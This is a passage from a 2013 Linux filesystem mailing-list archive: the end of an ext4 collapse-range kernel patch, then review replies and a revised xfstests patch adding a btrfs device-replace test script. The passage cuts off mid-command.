offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + +update_time: + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index e86dddb..c3a5ccf 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 2068db2..a1f357c 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2399,6 +2399,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From sbehrens@giantdisaster.de Wed Jul 31 10:52:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B808A7CBF for ; Wed, 31 Jul 2013 10:52:31 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A401C8F8035 for ; Wed, 31 Jul 2013 08:52:31 -0700 (PDT) X-ASG-Debug-ID: 1375285946-04cbb02c3b29c230001-NocioJ Received: from mo-p00-ob.rzone.de (mo-p00-ob.rzone.de [81.169.146.161]) by cuda.sgi.com with ESMTP id gyBnKRT8EVbuVDtI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 08:52:27 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.161 X-RZG-AUTH: :P24BfVKtdewSqNxKJHA7pzS3qMJDcjZcfhyLxL2IOTrSfPdWpt8NAUefa5U3ABKy0RtszbKgJQ== X-RZG-CLASS-ID: mo00 Received: from [172.24.1.80] (yian-ho01.nir.cronon.net [192.166.201.94]) by smtp.strato.de (RZmta 31.33 AUTH) with ESMTPA id Q01500p6VFDeky ; Wed, 31 Jul 2013 17:52:22 +0200 (CEST) Message-ID: <51F932B6.80203@giantdisaster.de> Date: Wed, 31 Jul 2013 17:52:22 +0200 From: Stefan Behrens User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Eric Sandeen CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstest: add a test for btrfs device replace operation References: <1374830885-26966-1-git-send-email-sbehrens@giantdisaster.de> <51F293E8.3080601@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstest: add a test for btrfs device replace operation In-Reply-To: <51F293E8.3080601@redhat.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-p00-ob.rzone.de[81.169.146.161] X-Barracuda-Start-Time: 1375285947 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, 26 Jul 2013 10:21:12 -0500, Eric Sandeen wrote: > On 7/26/13 4:28 AM, Stefan Behrens wrote: >> Unfortunately this test takes 6 minutes on my SSD equiped test box since >> it runs all possible single/dup/raid0/raid1/raid10/mixed profiles, one >> round with the '-f' option to 'btrfs replace start' and one round >> without this option. The cancelation is tested only once and with the >> dup/single profile for metadata/data. >> >> Almost all the time is spent when the filesystem is populated with test >> data. The replace operation itself takes one second for all the tests, >> and 20 seconds for the test that is marked as 'thorough' (this one >> spends more than a minute to populate the filesystem with data). > > Can you tell it to make a smaller filesystem so this doesn't take > as long? Would that still be spread across all devices properly? > All you really need is data across all devices, right - whether it's > 2G or 200G or 2000G in total shouldn't _really_ matter? > >> The amount of tests done depends on the number of devices in the >> SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should >> be available (e.g. 5 partitions). >> >> For the first round, the last device in the SCRATCH_DEV_POOL string >> is taken as the target device for the replace operation, the first >> device is the source device. For the second round it is the other way >> round. Therefore make sure that both devices have _exactly_ the same >> size, otherwise the tests fail! The target device for a replace >> operation always needs to be larger or of equal size than the source >> device. >> >> If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first >> round creates a filesystem on "A B C D" and replaces A with E in the >> first round, and E again with A in the second round. E and A need to >> have the same size for the tests to succeed. >> >> To check the filesystems after replacing a device, a scrub run is >> performed, a btrfsck run, and finally the filesystem is remounted. >> >> This commit depends on my other commit: >> "xfstest: don't remove the two first devices from SCRATCH_DEV_POOL" >> >> Signed-off-by: Stefan Behrens >> --- >> tests/btrfs/317 | 209 ++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/317.out | 3 + >> tests/btrfs/group | 1 + >> 3 files changed, 213 insertions(+) >> >> diff --git a/tests/btrfs/317 b/tests/btrfs/317 >> new file mode 100755 >> index 0000000..b4f0d8c >> --- /dev/null >> +++ b/tests/btrfs/317 >> @@ -0,0 +1,209 @@ >> +#! /bin/bash >> +# FSQA Test No. 317 >> +# >> +# Test of the btrfs replace operation. >> +# >> +# The amount of tests done depends on the number of devices in the >> +# SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should >> +# be available (e.g. 5 partitions). >> +# >> +# For the first round, the last device in the SCRATCH_DEV_POOL string >> +# is taken as the target device for the replace operation, the first >> +# device is the source device. For the second round it is the other way >> +# round. >> +# >> +# THEREFORE MAKE SURE THAT BOTH DEVICES HAVE _EXACTLY_ THE SAME >> +# SIZE, OTHERWISE THE TESTS FAIL! > > I sure hope the script enforces that, and does _notrun if they > differ? I'll look. If not, that's a problem. If so, please > change above to "OTHERWISE THE TEST WILL BE SKIPPED." > > (coming back after reading it all: nothing enforces this - you > need to do that, tests should be _notrun, not failed, due to > incompatible configurations) Thank you for the review! All your comments are addressed in the V2 of the patch. All tests except for one work populate the test filesystem with only 12MB in V2, thus spend less time. And to assure that the test is not running the replace operation on an empty source disk, the number of devices that are included in the filesystem is adapted and reduced to the minimum number (1 for single/dup, 2 for RAID0/1, 4 for RAID10). > >> +# >> +# The target device for a replace operation always needs to be larger >> +# or of equal size than the source device. >> +# >> +# If SCRATCH_DEV_POOL is set to "A B C D E" for example, the first >> +# round creates a filesystem on "A B C D" and replaces A with E in the >> +# first round, and E again with A in the second round. E and A need to >> +# have the same size for the tests to succeed. >> +# >> +# To check the filesystems after replacing a device, a scrub run is >> +# performed, a btrfsck run, and finally the filesystem is remounted. >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (C) 2013 STRATO. All rights reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +# >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=/tmp/$$ >> +status=1 >> +noise_pid=0 >> + >> +_cleanup() >> +{ >> + if [ $noise_pid -ne 0 ] && ps -p $noise_pid | grep -q $noise_pid; then >> + kill -TERM $noise_pid >> + fi >> + wait >> + rm -f $tmp.tmp >> +} >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_need_to_be_root >> +_supported_fs btrfs >> +_require_scratch >> +_require_scratch_dev_pool >> + >> +rm -f $seqres.full >> +rm -f $tmp.tmp >> + >> +echo "*** test btrfs replace" >> + >> +workout() >> +{ >> + mkfs_options=$1 >> + num_devs4raid=$2 >> + with_cancel=$3 >> + quick=$4 >> + local first_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'` >> + local last_dev=`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'` >> + local without_1stnlast_dev=`echo $SCRATCH_DEV_POOL | \ >> + awk '{ORS=" "; for (i = 2; i < NF; i++) print $i}'` >> + >> + if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then >> + echo "skip workout $1 $2 $3 $4" >> $seqres.full >> + echo "Too less devices in SCRATCH_DEV_POOL $SCRATCH_DEV_POOL" >> $seqres.full > > "Too few devices" or "Not enough devices" > > Would be nice to echo how many are needed too. > > (although nobody will see this output, since unless there are other problems, > the test will succeed anyway...) done > >> + return 0 >> + fi >> + >> + # dup works only on a single disk >> + if echo $mkfs_options | grep -q dup; then >> + without_1stnlast_dev="" >> + fi >> + >> + # _scratch_mkfs adds the 1st device again (which is $SCRATCH_DEV) >> + _scratch_mkfs $mkfs_options $without_1stnlast_dev >> $seqres.full 2>&1 || _fail "mkfs failed" >> + _scratch_mount >> + >> + _populate_fs -r $SCRATCH_MNT/zero -s 130 -f 1000 -d 0 -n 0 >> + _populate_fs -r $SCRATCH_MNT/urandom -x -s 1300 -f 10 -d 0 -n 0 > > ok so one dir full of zeroed files, one full of random files. > > what happens if the fs fills during this, is it a problem, or is it ok? > > I think it will emit output that would cause the test to fail. Can you check? The V2 is using dd instead of _populate_fs for speed reasons, and redirects the output to prevent errors in the ENOSPC case. > > You could do i.e. _require_fs_space $SCRATCH_MNT after _scratch_mount > to be sure there is sufficient space before proceeding. > >> + if [ "${quick}Q" = "quickQ" ]; then >> + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=10 >> $seqres.full 2>&1 & >> + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=250 >> $seqres.full 2>&1 >> + wait >> + else >> + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=100 >> $seqres.full 2>&1 & >> + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2500 >> $seqres.full 2>&1 >> + wait >> + fi > > so "quick" means do 1/10 of the IO vs. otherwise; 2.3G difference. > > It'd be *nice* if we could scale everything down to speed up the test? I hope the 3 minutes that it takes with V2 is not too much anymore? The test tries to cover as much as possible. > >> + echo 3 > /proc/sys/vm/drop_caches; echo 3 > /proc/sys/vm/drop_caches >> + sync >> + >> + # generate some (slow) background traffic in parallel to the >> + # replace operation. It is not a problem if cat fails early >> + # with ENOSPC. >> + cat /dev/urandom > $SCRATCH_MNT/noise 2> $seqres.full 2>&1 & >> + noise_pid=$! >> + >> + if [ "${with_cancel}Q" = "cancelQ" ]; then >> + $BTRFS_UTIL_PROG replace start -f $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" >> + sleep 1 >> + $BTRFS_UTIL_PROG replace cancel $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace cancel failed" >> + >> + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 >> + cat $tmp.tmp >> $seqres.full >> + egrep -q "canceled|finished" $tmp.tmp || _fail "btrfs replace status failed" >> + else >> + $BTRFS_UTIL_PROG replace start -Bf $first_dev $last_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" > > ok, -B means don't background. (of course!) ;) So we wait... That's similar to the meaning of '-B' in the scrub command. > >> + >> + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 >> + cat $tmp.tmp >> $seqres.full >> + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" > > and make sure it finished. ok. > >> + fi >> + >> + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 >> + cat $tmp.tmp >> $seqres.full >> + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" >> + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" > > Just curious, do you need to grep output to determine failure in all these cases? > Does exit status not suffice? (if not, seems like that should be fixed) Right, the exit status of scrub suffices if started with -B option to prevent the backgrounding. When scrub detects disk errors, the exit status indicates it. The exit status of 'btrfs replace start -B' is also indicating errors, but since this is part of the thing to test, V2 is still evaluating the output of 'btrfs replace status' in addition to checking the status code. > >> + >> + if ps -p $noise_pid | grep -q $noise_pid; then >> + kill -TERM $noise_pid 2> /dev/null >> + fi >> + noise_pid=0 >> + wait >> + umount $SCRATCH_MNT >> + if [ "${with_cancel}Q" = "cancelQ" ]; then >> + _check_btrfs_filesystem $first_dev >> + return 0 >> + else >> + _check_btrfs_filesystem $last_dev >> + fi > > Can you add a comment here? I'm confused about why we do first vs last dev on the cmdline. done After running the replace procedure to replace $first_dev with $last_dev, the script needs to run all the checks on the $last_dev since the $first_dev is not a part of the filesystem anymore. If the operation was canceled, it's still the $first_dev that needs to be dealt with. > >> + >> + # now one more time without the -f option. Instead of wasting >> + # time to populate the filesystem with data again, use the >> + # existing filesystem in the state as it is after the previous >> + # replace operation. >> + umount $SCRATCH_MNT > /dev/null 2>&1 > > Didn't you just unmount this already? Prior to the fsck? done > >> + _mount -t $FSTYP `_scratch_mount_options | sed "s&${SCRATCH_DEV}&${last_dev}&"` > > oof, can you at least comment to say what the above line is doing? That makes my brain hurt. done (added a comment to explain the "why" which also makes clear "what" is done). > >> + if [ $? -ne 0 ]; then >> + echo "mount failed" >> + exit 1 >> + fi >> + >> + cat /dev/urandom > $SCRATCH_MNT/noise2 2> $seqres.full 2>&1 & >> + noise_pid=$! > > If the last noise generator filled the fs, this'll do nothing, right? > Better to remove the existing noise file & restart the noise generator on the same filename? done > >> + $BTRFS_UTIL_PROG replace start -B $last_dev $first_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" >> + >> + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 >> + cat $tmp.tmp >> $seqres.full >> + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" >> + >> + $BTRFS_UTIL_PROG scrub start -B $SCRATCH_MNT > $tmp.tmp 2>&1 >> + cat $tmp.tmp >> $seqres.full >> + grep -q finished $tmp.tmp || _fail "btrfs scrub failed" >> + grep -q "with 0 errors" $tmp.tmp || _fail "btrfs scrub failed" >> + >> + if ps -p $noise_pid | grep -q $noise_pid; then >> + kill -TERM $noise_pid 2> /dev/null >> + fi >> + noise_pid=0 >> + wait >> + umount $SCRATCH_MNT > > There's an awful lot of cut & paste here from the first run with -f; can you maybe make it functions? done > >> + _check_btrfs_filesystem $first_dev >> +} >> + >> +workout "-m single -d single" 1 no quick >> +workout "-m single -d single -M" 1 no quick >> +workout "-m dup -d single" 1 no quick >> +workout "-m dup -d single" 1 cancel quick >> +workout "-m dup -d dup -M" 1 no quick >> +workout "-m raid0 -d raid0" 2 no quick >> +workout "-m raid1 -d raid1" 2 no thorough >> +#workout "-m raid5 -d raid5" 2 no quick >> +#workout "-m raid6 -d raid6" 3 no quick > > Why commented out? The replace operation depends on scrub and makes use of the scrub code. And scrub does not yet support RAID5/6. Therefore 'btrfs replace start' fails with EINVAL on RAID5/6 filesystems. > >> +workout "-m raid10 -d raid10" 4 no quick >> + >> +echo "*** done" >> +status=0 >> +exit >> diff --git a/tests/btrfs/317.out b/tests/btrfs/317.out >> new file mode 100644 >> index 0000000..4bda623 >> --- /dev/null >> +++ b/tests/btrfs/317.out >> @@ -0,0 +1,3 @@ >> +QA output created by 317 >> +*** test btrfs replace >> +*** done >> diff --git a/tests/btrfs/group b/tests/btrfs/group >> index bc6c256..1b64321 100644 >> --- a/tests/btrfs/group >> +++ b/tests/btrfs/group >> @@ -9,3 +9,4 @@ >> 276 auto rw metadata >> 284 auto >> 307 auto quick >> +317 auto >> > Thanks again! From sbehrens@giantdisaster.de Wed Jul 31 10:52:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 149E57F51 for ; Wed, 31 Jul 2013 10:52:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EA03F8F8035 for ; Wed, 31 Jul 2013 08:52:47 -0700 (PDT) X-ASG-Debug-ID: 1375285964-04cbb02c3b29c290001-NocioJ Received: from xp-ob.rzone.de (xp-ob.rzone.de [81.169.146.141]) by cuda.sgi.com with ESMTP id 8q5OlggnwYlE8Xju (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 31 Jul 2013 08:52:45 -0700 (PDT) X-Barracuda-Envelope-From: sbehrens@giantdisaster.de X-Barracuda-Apparent-Source-IP: 81.169.146.141 X-RZG-CLASS-ID: xp Received: from pizpot.store ([192.168.43.236]) by josoe.store (RZmta 31.32 OK) with ESMTP id p01088p6V9rqKO ; Wed, 31 Jul 2013 17:52:40 +0200 (CEST) From: Stefan Behrens To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org Subject: [PATCH V2] xfstest: add a test for btrfs device replace operation Date: Wed, 31 Jul 2013 17:52:40 +0200 X-ASG-Orig-Subj: [PATCH V2] xfstest: add a test for btrfs device replace operation Message-Id: <1375285960-4039-1-git-send-email-sbehrens@giantdisaster.de> X-Mailer: git-send-email 1.8.3.4 X-Barracuda-Connect: xp-ob.rzone.de[81.169.146.141] X-Barracuda-Start-Time: 1375285965 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This test performs btrfs device replace tests with all possible profiles (single/dup/mixed/raid0/raid1/raid10), one round with the '-r' option to 'btrfs replace start' and one round without this option. The cancelation is tested only once and with the dup/single profile for metadata/data. This test takes 181 seconds on my SSD equiped test box and 237s on spinning disks. Almost all the time is spent when the filesystem is populated with test data. The replace operation itself takes less than a second for all the tests, except for the test that is marked as 'thorough' which will run for about 8 seconds on my test box. The amount of tests done depends on the number of devices in the SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should be available (e.g. 5 partitions). With less than 2 entries in SCRATCH_DEV_POOL, the test is not executed. The source and target devices for the replace operation are arbitrarily chosen out of SCRATCH_DEV_POOl. Since the target device mustn't be smaller than the source device, the requirement for this test is that all devices have _exactly_ the same size. If this is not the case, the test terminates with _notrun. To check the filesystems after replacing a device, a scrub run is performed, a btrfsck run, and finally the filesystem is remounted. This commit depends on my other commit: "xfstest: don't remove the two first devices from SCRATCH_DEV_POOL" Signed-off-by: Stefan Behrens --- V1 -> V2: Major reworking in order to address all the comments from Eric Sandeen's review. common/config | 1 + tests/btrfs/317 | 273 ++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/317.out | 3 + tests/btrfs/group | 1 + 4 files changed, 278 insertions(+) diff --git a/common/config b/common/config index 1bc9233..8c2d750 100644 --- a/common/config +++ b/common/config @@ -207,6 +207,7 @@ case "$HOSTOS" in export MKFS_UDF_PROG="`set_prog_path mkudffs`" export MKFS_BTRFS_PROG="`set_btrfs_mkfs_prog_path_with_opts`" export BTRFS_UTIL_PROG="`set_prog_path btrfs`" + export BTRFS_SHOW_SUPER_PROG="`set_prog_path btrfs-show-super`" export XFS_FSR_PROG="`set_prog_path xfs_fsr`" export MKFS_NFS_PROG="false" ;; diff --git a/tests/btrfs/317 b/tests/btrfs/317 new file mode 100755 index 0000000..a78c6f1 --- /dev/null +++ b/tests/btrfs/317 @@ -0,0 +1,273 @@ +#! /bin/bash +# FSQA Test No. 317 +# +# Test of the btrfs replace operation. +# +# The amount of tests done depends on the number of devices in the +# SCRATCH_DEV_POOL. For full test coverage, at least 5 devices should +# be available (e.g. 5 partitions). +# +# The source and target devices for the replace operation are +# arbitrarily chosen out of SCRATCH_DEV_POOl. Since the target device +# mustn't be smaller than the source device, the requirement for this +# test is that all devices have _exactly_ the same size. If this is +# not the case, this test is not run. +# +# To check the filesystems after replacing a device, a scrub run is +# performed, a btrfsck run, and finally the filesystem is remounted. +# +#----------------------------------------------------------------------- +# Copyright (C) 2013 STRATO. All rights reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 +noise_pid=0 + +_cleanup() +{ + if [ $noise_pid -ne 0 ] && ps -p $noise_pid | grep -q $noise_pid; then + kill -TERM $noise_pid + fi + wait + rm -f $tmp.tmp +} +trap "_cleanup; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_need_to_be_root +_supported_fs btrfs +_require_scratch +_require_scratch_dev_pool +_require_command $BTRFS_SHOW_SUPER_PROG btrfs-show-super + +rm -f $seqres.full +rm -f $tmp.tmp + +echo "*** test btrfs replace" + +workout() +{ + local mkfs_options="$1" + local num_devs4raid="$2" + local with_cancel="$3" + local quick="$4" + local source_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $1}'`" + local target_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $NF}'`" + + if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -lt `expr $num_devs4raid + 1` ]; then + echo "Skip workout $1 $2 $3 $4" >> $seqres.full + echo "Too few devices in SCRATCH_DEV_POOL $SCRATCH_DEV_POOL, required: " `expr $num_devs4raid + 1` >> $seqres.full + return 0 + fi + + # use min number of disks in order to fill up the disk to replace + # as much as possible + local used_devs_without_1st="`echo $SCRATCH_DEV_POOL | \ + awk '{ORS=\" \"; for (i = 2; i <= (NF - 1 < '$num_devs4raid' ? NF - 1 : '$num_devs4raid'); i++) print $i}'`" + + # _scratch_mkfs adds the 1st device again (which is $SCRATCH_DEV) + _scratch_mkfs $mkfs_options $used_devs_without_1st >> $seqres.full 2>&1 || _fail "mkfs failed" + + # The source and target devices for the replace operation are + # arbitrarily chosen out of the pool. Since the target device mustn't + # be smaller than the source device, the requirement for this test is + # that all devices have _exactly_ the same size. If this is not the + # case, this test is not run. + local num_lines=`$BTRFS_SHOW_SUPER_PROG $SCRATCH_DEV $used_devs_without_1st | grep dev_item.total_bytes | uniq | wc -l` + if [ $num_lines -gt 1 ]; then + _notrun "Different device sizes detected" + fi + + _scratch_mount + + # Generate 500 times 20K extents in the data chunk and fill up + # metadata with inline extents. Ignore ENOSPC. + for i in `seq 1 500`; do + dd if=/dev/urandom of=/mnt/l$i bs=16385 count=1 + dd if=/dev/urandom of=/mnt/s$i bs=3800 count=1 + done > /dev/null 2>&1 + + if [ "${quick}Q" = "thoroughQ" ]; then + # The intention of this "thorough" test is to increase + # the probability of random errors, in particular in + # conjunction with the background noise generator and + # a sync call while the replace operation in ongoing. + # Unfortunately it takes quite some time to generate + # the test filesystem, therefore most data consists out + # of zeros although this data is not very useful for + # detecting misplaced read/write requests. + # Ignore ENOSPC, it's not a problem.. + dd if=/dev/urandom of=$SCRATCH_MNT/r bs=1M count=200 >> $seqres.full 2>&1 & + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=2000 >> $seqres.full 2>&1 + wait + elif [ "${with_cancel}Q" = "cancelQ" ]; then + # produce some data to prevent that the replace operation + # finishes before the cancel request is started + dd if=/dev/zero of=$SCRATCH_MNT/0 bs=1M count=1000 >> $seqres.full 2>&1 + fi + sync; sync + + btrfs_replace_test $source_dev $target_dev "" $with_cancel $quick + umount $SCRATCH_MNT > /dev/null 2>&1 + + if echo $mkfs_options | egrep -qv "raid1|raid5|raid6|raid10" || \ + [ "${with_cancel}Q" = "cancelQ" ]; then + # the -r option has no effect without mirrors, skip -r test + # in this case, and if only the canceling should be tested + # as well + return 0 + fi + + # One more time with the '-r' option this time. Instead of wasting + # time to populate the filesystem with data again, use the + # existing filesystem in the state as it is after the previous + # replace operation. + # If possible, use a strategy to select the source and target + # device so that we really change bits on the target disk, see + # below. + + # The default: For the 2nd run, the new target drive is the old + # source drive, and the new source drive is the old target drive. + # Since except for the noise data, the copied data is already on + # the new target disk (which is the old source disk), this is not + # optimal to check whether data is copied correctly. + local tmp_dev="$source_dev" + source_dev="$target_dev" + target_dev="$tmp_dev" + + # If we have at least one more device in the SCRATCH_DEV_POOL than + # used so far, use one of those for the new target devive. + if [ "`echo $SCRATCH_DEV_POOL | wc -w`" -gt `expr $num_devs4raid + 1` ]; then + target_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $(NF-1)}'`" + fi + + # If the filesystem is built out of more than one devices, use a + # different source device for this round. + if [ $num_devs4raid -gt 1 ]; then + source_dev="`echo ${SCRATCH_DEV_POOL} | awk '{print $2}'`" + fi + + # Mount similar to _scratch_mount, but since the SCRATCH_DEV (the + # 1st device in SCRATCH_DEV_POOL) was replaced by the previous + # btrfs replace operation, substitute SCRATCH_DEV with a device + # that is known to be part of the SCRATCH_MNT filesystem. + _mount -t $FSTYP `_scratch_mount_options | sed "s&${SCRATCH_DEV}&${source_dev}&"` + if [ $? -ne 0 ]; then + echo "mount failed" + return 1 + fi + + btrfs_replace_test $source_dev $target_dev "-r" $with_cancel $quick + umount $SCRATCH_MNT > /dev/null 2>&1 +} + +btrfs_replace_test() +{ + local source_dev="$1" + local target_dev="$2" + local replace_options="$3" + local with_cancel="$4" + local quick="$5" + + # generate some (slow) background traffic in parallel to the + # replace operation. It is not a problem if cat fails early + # with ENOSPC. + cat /dev/urandom > $SCRATCH_MNT/noise 2>> $seqres.full & + noise_pid=$! + + if [ "${with_cancel}Q" = "cancelQ" ]; then + # background the replace operation (no '-B' option given) + $BTRFS_UTIL_PROG replace start -f $source_dev $target_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" + sleep 1 + $BTRFS_UTIL_PROG replace cancel $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace cancel failed" + + # 'replace status' waits for the replace operation to finish + # before the status is printed + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q canceled $tmp.tmp || _fail "btrfs replace status failed" + else + if [ "${quick}Q" = "thoroughQ" ]; then + # On current hardware, the thorough test runs + # more than a second. This is a chance to force + # a sync in the middle of the replace operation. + (sleep 1; sync) > /dev/null 2>&1 & + fi + $BTRFS_UTIL_PROG replace start -Bf $source_dev $target_dev $SCRATCH_MNT >> $seqres.full 2>&1 || _fail "btrfs replace start failed" + + $BTRFS_UTIL_PROG replace status $SCRATCH_MNT > $tmp.tmp 2>&1 + cat $tmp.tmp >> $seqres.full + grep -q finished $tmp.tmp || _fail "btrfs replace status failed" + fi + + if ps -p $noise_pid | grep -q $noise_pid; then + kill -TERM $noise_pid 2> /dev/null + fi + noise_pid=0 + wait + + # scrub tests on-disk data, that's the reason for the sync. + # With the '-B' option (don't background), any type of error causes + # exit values != 0, including detected correctable and uncorrectable + # errors on the device. + sync; sync + $BTRFS_UTIL_PROG scrub start 